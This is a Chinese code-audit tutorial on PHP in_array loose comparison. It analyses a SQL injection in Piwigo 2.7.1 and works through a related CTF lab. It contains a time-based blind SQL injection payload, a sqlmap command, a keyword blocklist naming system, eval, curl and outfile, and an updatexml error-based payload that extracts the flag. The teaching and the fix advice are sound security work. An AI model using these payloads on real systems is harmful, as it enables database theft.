红日代审-Day1-in_array弱比较问题
来源:https://github.com/hongriSec/PHP-Audit-Labs/blob/master/Part1/Day1/files/README.md
很多话我不想再重复了,就直接照搬的原话,能看就行
in_array函数 1 in_array (mixed $needle , array $haystack , bool $strict = false ): bool
大海捞针,在大海(haystack
)中搜索针( needle
),如果没有设置 strict
则使用宽松的比较。
needle 待搜索的值。如果 needle
是字符串,则比较是区分大小写的
haystack 待搜索的数组
strict 如果第三个参数 strict
的值为 true
则 in_array() 函数还会检查 needle
的类型是否和 haystack
中的相同,如果没有开启严格模式,则比较时就存在一个弱比较、强制类型转换的问题
示例
1 2 3 4 5 6 7 8 9 <?php $os = array ("Mac" , "NT" , "Irix" , "Linux" );if (in_array ("Irix" , $os )) { echo "Got Irix" ; } if (in_array ("mac" , $os )) { echo "Got mac" ; } ?>
第二个条件失败,因为 in_array() 是区分大小写的,所以以上程序显示为:Got Irix。这里可以思考到如果直接这样来写过滤规则,将存在一个大小写绕过的安全问题
1 2 3 4 5 6 7 8 9 10 11 <?php $a = array ('1.10' , 12.4 , 1.13 );if (in_array ('12.4' , $a , true )) { echo "'12.4' found with strict check\n" ; } if (in_array (1.13 , $a , true )) { echo "1.13 found with strict check\n" ; } ?>
严格,强类型比较,会输出,1.13 found with strict check。这里可以思考到如果第三个参数没有设置为true,将存在一个弱比较的安全问题
in_array弱比较Demo分析
首先Demo是一个文件上传,设置了白名单$whitelist 这是一个范围,1到23,可能代表允许的23种文件后缀,如果文件后缀不在这个范围内,就判定为不合法文件,就无法被上传
但是判定时,使用了不严格模式下的in_array函数进行了弱比较。由于该函数并未将第三个参数设置为 true ,这导致攻击者可以通过构造的文件名来绕过服务端的检测,例如文件名为 7shell.php 。因为PHP在使用 in_array() 函数判断时,会将 7shell.php 强制转换成数字7,而数字7在 range(1,24) 数组中,最终绕过 in_array() 函数判断,导致任意文件上传漏洞。这里之所以会发生强制类型转换,是因为目标数组中的元素为数字类型
piwigo2.7.1实例分析 环境搭建
源码:https://piwigo.org/download/dlcounter.php?code=2.7.1
源码:piwigo2.7.1
Apache 2.4.34
php 5.5.38
MySQL 5.5.53
审计 漏洞的入口文件在 picture.php 中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php define ('PHPWG_ROOT_PATH' ,'./' );include_once (PHPWG_ROOT_PATH.'include/common.inc.php' );include (PHPWG_ROOT_PATH.'include/section_init.inc.php' );include_once (PHPWG_ROOT_PATH.'include/functions_picture.inc.php' );………………………………………………………………………………………………………………………………………………………………………………………………………… if (isset ($_GET ['action' ])){ switch ($_GET ['action' ]) { case 'add_to_favorites' : { $query = ' INSERT INTO ' .FAVORITES_TABLE.' (image_id,user_id) VALUES (' .$page ['image_id' ].',' .$user ['id' ].') ;' ; pwg_query ($query ); redirect ($url_self ); break ; } ………………………………………………………………………………………………………………………………………………………………………………………………………… case 'rate' : { include_once (PHPWG_ROOT_PATH.'include/functions_rate.inc.php' ); rate_picture ($page ['image_id' ], $_POST ['rate' ]); redirect ($url_self ); }
当 $_GET[‘action’] 为 rate 的时候,就会调用文件 include/functions_rate.inc.php 中的 rate_picture 方法,而漏洞便存在这个方法中。
include/functions_rate.inc.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php function rate_picture ($image_id , $rate ) { global $conf , $user ; if (!isset ($rate ) or !$conf ['rate' ] or !in_array ($rate , $conf ['rate_items' ])) { return false ; } ………………………………………………………………………………………………………………………………………………………………………………………………………… if ($user_anonymous ) { $query .= ' AND anonymous_id = \'' .$anonymous_id .'\'' ; } pwg_query ($query ); $query = ' INSERT INTO ' .RATE_TABLE.' (user_id,anonymous_id,element_id,rate,date) VALUES (' .$user ['id' ].',' .'\'' .$anonymous_id .'\',' .$image_id .',' .$rate .',NOW()) ;' ;
我们可以看到下图第23行处直接拼接 $rate 变量,而在第2行使用 in_array() 函数对 $rate 变量进行检测,判断 $rate 是否在 $conf[‘rate_items’] 中, $conf[‘rate_items’] 的内容可以在 include\config_default.inc.php 中找到,为 $conf['rate_items'] = array(0,1,2,3,4,5);
由于这里并没有将 in_array() 函数的第三个参数设置为 true ,所以会进行弱比较,可以绕过。比如我们将 $rate 的值设置成 1,1 and if(ascii(substr((select database()),1,1))=112,1,sleep(3)));# 那么SQL语句就变成:
1 INSERT INTO piwigo_rate (user_id,anonymous_id,element_id,rate,date ) VALUES (2 ,'192.168.2' ,1 ,1 ,1 and if(ascii(substr((select database()),1 ,1 ))= 112 ,1 ,sleep(3 )));#,NOW()) ;
这样就可以进行盲注了,如果上面的代码你看的比较乱的话,可以看下面简化后的代码:
漏洞复现 直接sqlmap跑吧
1 python sqlmap.py -u "http://127.0.0.1/cms/piwigo2.7.4/picture.php?/1/category/1&action=rate" --data "rate=1" --dbs --batch
修复建议 可以看到这个漏洞的原因是弱类型比较问题,那么我们就可以使用强匹配进行修复。例如将 in_array() 函数的第三个参数设置为 true ,或者使用 intval() 函数将变量强转成数字,又或者使用正则匹配来处理变量。这里我将 in_array() 函数的第三个参数设置为 true ,代码及防护效果如下:
CTF例题练习 搭建
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 <?php include 'config.php' ;$conn = new mysqli ($servername , $username , $password , $dbname );if ($conn ->connect_error) { die ("连接失败: " ); } $sql = "SELECT COUNT(*) FROM users" ;$whitelist = array ();$result = $conn ->query ($sql );if ($result ->num_rows > 0 ){ $row = $result ->fetch_assoc (); $whitelist = range (1 , $row ['COUNT(*)' ]); } $id = stop_hack ($_GET ['id' ]);$sql = "SELECT * FROM users WHERE id=$id " ;if (!in_array ($id , $whitelist )) { die ("id $id is not in whitelist." ); } $result = $conn ->query ($sql );if ($result ->num_rows > 0 ){ $row = $result ->fetch_assoc (); echo "<center><table border='1'>" ; foreach ($row as $key => $value ) { echo "<tr><td><center>$key </center></td><br>" ; echo "<td><center>$value </center></td></tr><br>" ; } echo "</table></center>" ; } else { die ($conn ->error); } ?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php $servername = "localhost" ;$username = "fire" ;$password = "fire" ;$dbname = "day1" ;function stop_hack ($value ) { $pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval" ; $back_list = explode ("|" ,$pattern ); foreach ($back_list as $hack ){ if (preg_match ("/$hack /i" , $value )) die ("$hack detected!" ); } return $value ; } ?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 # 搭建CTF环境使用的sql 语句 create database day1;use day1; create table users (id int (6 ) unsigned auto_increment primary key , name varchar (20 ) not null , email varchar (30 ) not null , salary int (8 ) unsigned not null ); INSERT INTO users VALUES (1 ,'Lucia' ,'Lucia@hongri.com' ,3000 );INSERT INTO users VALUES (2 ,'Danny' ,'Danny@hongri.com' ,4500 );INSERT INTO users VALUES (3 ,'Alina' ,'Alina@hongri.com' ,2700 );INSERT INTO users VALUES (4 ,'Jameson' ,'Jameson@hongri.com' ,10000 );INSERT INTO users VALUES (5 ,'Allie' ,'Allie@hongri.com' ,6000 );create table flag(flag varchar (30 ) not null );INSERT INTO flag VALUES ('HRCTF{1n0rrY_i3_Vu1n3rab13}' );
wp 就是会被 stop_hack过滤掉一个关键字,那么可以使用一些没有被过滤的报错函数来绕过
然后就是payload一定要以1-5的数字开头,这样就能利用弱比较绕过in_array的过滤
1 ?id= 1 and (select updatexml(1 ,make_set(3 ,'~' ,(select flag from flag)),1 ))